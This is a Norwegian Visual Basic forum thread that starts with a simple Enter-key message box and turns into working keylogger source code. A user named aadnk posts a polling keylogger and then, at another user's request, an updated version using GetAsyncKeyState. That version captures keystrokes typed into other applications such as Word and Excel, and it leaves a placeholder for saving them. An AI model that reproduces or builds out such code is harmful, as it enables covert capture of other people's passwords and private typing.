Koder til tastaturet

[Gazze]

Hei!

Jeg bare lurte på om noen visste hvilken kode jeg skal bruke for å få fks. en meldingsboks som sier "Hei!" når jeg trykker enter.

[Steinmann]

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
   If KeyCode = 13 Then
       MsgBox "Du trykket enter"
   End If
End Sub

Private Sub Form_Load()
   KeyPreview = True
End Sub

[Gjakmarrja]

Bare et lite forslag... vet egentlig ikke hvordan dette kodes men det burde funke:

 

 

Lage en service som er keylogger.... og så gå ut i fra det

[Steinmann]

en keylogger bruker somregel endel resurser

Min enkle å greie kode derimot gjør jobben helt fint, med mindre han prøver å lage en keylogger da, eventuelt et program som sier "Hei" selv om det ikke har fokus.

 

Da er det mulig jeg har en annen kode, litt mer komplisert

[aadnk]

Et eksempel på en sådan keylogger:

 

' Nødvendige API-funksjoner

Private Declare Function GetKeyboardState Lib "user32" (kbArray As KeyboardBytes) As Long

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

 

' Vår tabell som vil inneholde statusen på alle taster

Private Type KeyboardBytes

    kbByte(0 To 255) As Byte

End Type

 

Public StopLoop As Boolean

 

Public Sub KeyDown(KeyCode As Long)

 

    ' Her legger du inn din kode som lagrer tastetrykket

    Debug.Print "KeyDown: " & KeyCode

 

End Sub

 

Public Sub KeyUp(KeyCode As Long)

 

    ' Også her kan du legge inn en kode - alt etter hva du behøver

    Debug.Print "KeyUp: " & KeyCode

 

End Sub

 

Public Sub KeyLogger()

   

    Dim aKeyboard As KeyboardBytes, aLast As KeyboardBytes, Tell As Long

   

    ' Forsikre oss at løkken faktisk vil begynne

    StopLoop = False

 

    ' Initialiser første status

    GetKeyboardState aLast

 

    ' Fortsett denne løkken inntil den nevnte variabel er lik sann

    Do Until StopLoop

   

        ' Last inn status på alle taster

        GetKeyboardState aKeyboard

       

        ' Gå gjennom alle taster og register en forandring

        For Tell = 0 To 255

 

            ' Dersom denne tasten er forskjellig fra sist må det raporteres

            If (aKeyboard.kbByte(Tell) And &HF0) <> (aLast.kbByte(Tell) And &HF0) Then

           

                ' Eksekver hendelseshåndterer avhengig av status

                If (aKeyboard.kbByte(Tell) And &HF0) <> 0 Then

                    ' Tasten er blitt trykket ned

                    KeyDown Tell

                Else

                    ' Tasten har blitt sluppet

                    KeyUp Tell

                End If

           

            End If

       

        Next

   

        ' Flytt over statusvariabel

        LSet aLast = aKeyboard

   

        ' Vent et øyeblikk - dette er vesentlig for å ikke forbruke mer ressurser enn nødvendig

        Sleep 10

   

        ' Utfør alle hendelser (forhindrer krasj)

        DoEvents

   

    Loop

 

End Sub

 

For å starte loggeprosessen, må du kalle KeyLogger-prosedyren.

[Gazze]

nice! men vet dere hva alle knappene heter?

[aadnk]

Hva mener du? Ønsker du å oversette tallet som returneres til forståelig norsk? I så fall kan du gjøre noe lik følgende:

 

Public Function KeyName(KeyCode As Integer, Shift As Long, Caps_Lock As Long) As String

   

    ' Finn ut navn på tast

    Select Case KeyCode

    Case vbKeyA To vbKeyZ: KeyName = LCase(Chr(KeyCode))

    Case vbKeyLeft: KeyName = "(KeyLeft)"

    Case vbKeyRight: KeyName = "(KeyRight)"

    Case vbKeyUp: KeyName = "(KeyUp)"

    Case vbKeyDown: KeyName = "(KeyDown)"

    ' ... sett inn resten her

    End Select

 

    ' Dersom skift-tast eller versallås aktiveres, gjelder andre tastenavn

    If Shift <> 0 Or Caps_Lock <> 0 Then

   

        Select Case KeyCode

        Case vbKeyA To vbKeyZ: KeyName = UCase(Chr(KeyCode))

        ' Samme her som ovenfor

        End Select

   

    End If

 

End Function

 

Dette er selvsagt kun et eksempel, og har dermed svært store mangler som du selv på fylle inn. Men koden burde legge grunnlaget og forenkle arbeidet videre.

[sykkelknut1]

Har testet koden til aadnk og det fungerte bra, men hvordan kan man få til at programmet også logger fra andre applikasjoner f.eks. det som tastes i Word, Excel etc.

[aadnk]

Huff, beklager det der. Jeg testet visst ikke koden inngående nok - jeg la simpelthen ikke merke til at koden kun overvåker taster som sendes direkte til applikasjonens tråd, og ikke til andre. Her er en oppdatert versjon:

 

' Nødvendige API-funksjoner

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

 

Public StopLoop As Boolean

 

Public Sub KeyDown(KeyCode As Long)

 

    ' Her legger du inn din kode som lagrer tastetrykket

    Debug.Print "KeyDown: " & KeyCode

 

End Sub

 

Public Sub KeyUp(KeyCode As Long)

 

    ' Også her kan du legge inn en kode - alt etter hva du behøver

    Debug.Print "KeyUp: " & KeyCode

 

End Sub

 

Public Sub KeyLogger()

 

    Dim aKeyboard(255) As Integer, Ret As Integer, Tell As Long

 

    ' Forsikre oss at løkken faktisk vil begynne

    StopLoop = False

 

    ' Fortsett denne løkken inntil den nevnte variabel er lik sann

    Do Until StopLoop

 

        ' Gå gjennom alle taster og register en forandring

        For Tell = 0 To 255

 

            ' Hent status på tastaturtasten

            Ret = GetAsyncKeyState(Tell)

 

            ' Dersom denne tasten er forskjellig fra sist må det raporteres

            If (Ret And &HF0000000) <> (aKeyboard(Tell) And &HF0000000) Then

         

                ' Eksekver hendelseshåndterer avhengig av status

                If (Ret And &HF0000000) <> 0 Then

                    ' Tasten er blitt trykket ned

                    KeyDown Tell

                Else

                    ' Tasten har blitt sluppet

                    KeyUp Tell

                End If

         

            End If

     

            ' Lagre gjeldende status

            aKeyboard(Tell) = Ret

       

        Next

 

        ' Vent et øyeblikk - dette er vesentlig for å ikke forbruke mer ressurser enn nødvendig

        Sleep 10

 

        ' Utfør alle hendelser (forhindrer krasj)

        DoEvents

 

    Loop

 

End Sub